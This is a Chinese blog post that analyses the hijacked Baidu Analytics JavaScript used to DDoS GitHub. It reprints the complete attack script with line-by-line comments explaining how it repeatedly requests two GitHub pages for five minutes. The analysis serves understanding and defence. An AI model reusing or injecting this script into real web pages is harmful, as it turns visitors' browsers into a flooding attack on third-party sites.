前几天在乌云看见了百度统计js被劫持用来DDOS Github,就想看看执行的核心JS是怎么样请求的。

就分析了下JS的执行,发现乌云解析的地方说错了。

文章里面说。大概功能就是关闭缓存后每隔2秒加载一次。

我看了下代码的意思是:

第一次请求,延迟2秒钟请求。

然后,以后的每次请求都以请求开始跟请求结束(请求时间差)作为延时再进行请求。

从第一次执行那段JS的时间内连续五分钟内,就是请求(Attack)时间只有五分钟。

你访问网站速度越快,请求越多。所以github弄个alert()让你的浏览器暂停下来。

以下为JS的详解(JS很烂,求板砖):

 document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");    //加载jQuery
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); //判断windows.jQuery有没有被定义,没有就再加载JQuery
startime = (new Date).getTime(); //获取当前时间戳,毫秒(最初执行时间)
var count = 0; //总请求次数 function unixtime() { //获取一个时间戳
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 //1e3=1000
} url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; //定义要请求的URL
NUM = url_array.length; // 获取URL数组长度,两个URL function r_send2() {
var a = unixtime() % NUM; //这里是随机请求URL,去时间戳整除的余去进行请求不同的URL,这样写是不是很蛋疼
get(url_array[a]) //带入URL进入GET函数
} function get(a) { //定义get函数,功能就是请求URL。用的jQuery.ajax()方法
var b; //请求时间差
$.ajax({
url: a, //请求的URL
dataType: "script", //预期返回的数据类型, 返回纯文本 JavaScript 代码,并且会执行JS。不会自动缓存结果。除非设置了 "cache" 参数。
timeout: 1E4, //1e4=10000,设置请求超时时间
cache: !0, //dataType 为 script 和 jsonp 时默认为 false。设置为 false 将不缓存此页面。所以这里会缓存页面。
beforeSend: function() { //发送请求前可修改 XMLHttpRequest 对象的函数
requestTime = (new Date).getTime() //获取当前时间戳,毫秒(请求开始的时间)
},
complete: function() { //请求完成后回调函数
responseTime = (new Date).getTime(); //获取当前时间戳,毫秒(请求完成的时间)
b = Math.floor(responseTime - requestTime); //请求时间差,网络响应慢后面就请求慢了~
3E5 > responseTime - startime && (r_send(b), count += 1) //3e5=300000,请求时间减去最开始获取到的时间小于300S(这里就是只请求五分钟),然后再执行r_send(b),count++
}
})
} function r_send(a) {
setTimeout("r_send2()", a) //等待a毫秒以后执行r_send2()
}
setTimeout("r_send2()", 2E3); //2e3=2000; 等待2000毫秒以后执行r_send2(),setTimeout() 只执行code一次,也就是第一次执行的函数
// PS: r_send2() -->get() --> r_send() -->r_send2()-->loop
// PS: 并不是每两秒钟执行一次请求

百度统计js被劫持用来DDOS Github的JS注释的更多相关文章

  1. 百度统计js被劫持用来DDOS Github

    今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗: malicious javascript detected on this d ...

  2. 【转】百度统计js被劫持用来DDOS Github

    原文链接:http://drops.wooyun.org/papers/5398 今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗 ...

  3. 百度统计的JS脚本原理分析

    首先,百度统计会要求我们在要统计的页面中嵌入一段js语句,类似如下: <script type="text/javascript">var _bdhmProtocol ...

  4. 如何把百度统计代码放入JS文件中?百度统计的JS脚本原理分析

    <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script&quo ...

  5. nuxt.js 加百度统计

    Mark一下: 在 Nuxt.js应用中使用Google统计分析服务,或者百度统计分析服务,推荐在 plugins 目录下创建 plugins/ga.js 文件.统计统计分析我们可以获取网站pv,uv ...

  6. 百度统计的JS脚本原理解析

    一句话:在你的网站上加载百度统计的脚本,这个脚本会收集你的本地信息,然后发送给百度统计网站 https://blog.csdn.net/iqzq123/article/details/8877645 ...

  7. 屏蔽全部统计代码(51.la cnzz 百度统计 谷歌分析师adsense、屏蔽淘宝客广告代码)的方法

    支持百度统计 .51.la统计.cnzz统计.51yes统计.谷歌分析师.阿里妈妈淘宝客广告.chinaz弹窗.假设有很多其它的须要屏蔽的,欢迎联系 default7#zbphp.com 改动etc的 ...

  8. 【转载】国内网站博客数据统计选免费Google Analytics还是百度统计

    [转载]国内网站博客数据统计选免费Google Analytics还是百度统计 Google Analytics谷歌统计是我用的第一个网站统计工具,当然现在也一直在用.Google Analytics ...

  9. 百度统计API的使用

    百度统计API的使用 在搭建自己博客的时候,希望自己能有个日志系统,能够看到PV.UV等信息,同时自己也搭建了个ELK系统,可惜服务器配置太低(1GHZ+1G内存),根本运行不起来.只能使用第三方的日 ...

随机推荐

  1. [HDU 2068] RPG的错排 (错排问题)

    RPG的错排 题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2068 题目大意: 有N个人对应N个名字,然后你去把每一个名字对应到每个人,只要求答对一半 ...

  2. ALS数学点滴

    其中,$n_{u_i}$表示用户$i$评分的电影数目,$n_{m_j}$表示对电影$j$评分的用户数目.设$I_i$表示用户$i$所评分的电影集合,则$n_{u_i}$是$I_i$的基数,同样的,$I ...

  3. is not in the sudoers file.This incident will be reported

    解决方法如下: 1>.进入超级用户模式.也就是输入"su -",系统会让你输入超级用户密码,输入密码后就进入了超级用户模式. 2>.添加文件的写权限.也就是输入命令&q ...

  4. Python多进程使用

    [Python之旅]第六篇(六):Python多进程使用   香飘叶子 2016-05-10 10:57:50 浏览190 评论0 python 多进程 多进程通信 摘要:   关于进程与线程的对比, ...

  5. C#HttpWebResponse请求常见的状态码

    成员名称 说明 Continue 等效于 HTTP 状态 100.Continue 指示客户端可能继续其请求. SwitchingProtocols 等效于 HTTP 状态 101.Switching ...

  6. nodejs抓取网页内容

    function loadPage(url) { var http = require('http'); var pm = new Promise(function (resolve, reject) ...

  7. iOS: TableView如何刷新指定的cell 或section

    //一个section刷新 NSIndexSet *indexSet=[[NSIndexSet alloc]initWithIndex:2]; [tableview reloadSections:in ...

  8. 新修改了EMA的计算方法,合并线性回归率的计算。和通达信的结果一模一样

    using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Threa ...

  9. React 点击删除列表中对应项(React 获取DOM中自定义属性)

    点击删除按钮,删除列表中对应项本来是React比较基础的应用,可是应用情况变得复杂了以后,我还真想了一会儿才搞定. 简化一下应用场景:点击新增按钮,增加一条输入框,点击输入框旁边的按钮,删除该输入框( ...

  10. javascript基础学习(十五)

    javascript之cookie 学习要点: cookie介绍 创建与获取cookie cookie的编码 cookie的生存期 cookie的路径 cookie的domain cookie的sec ...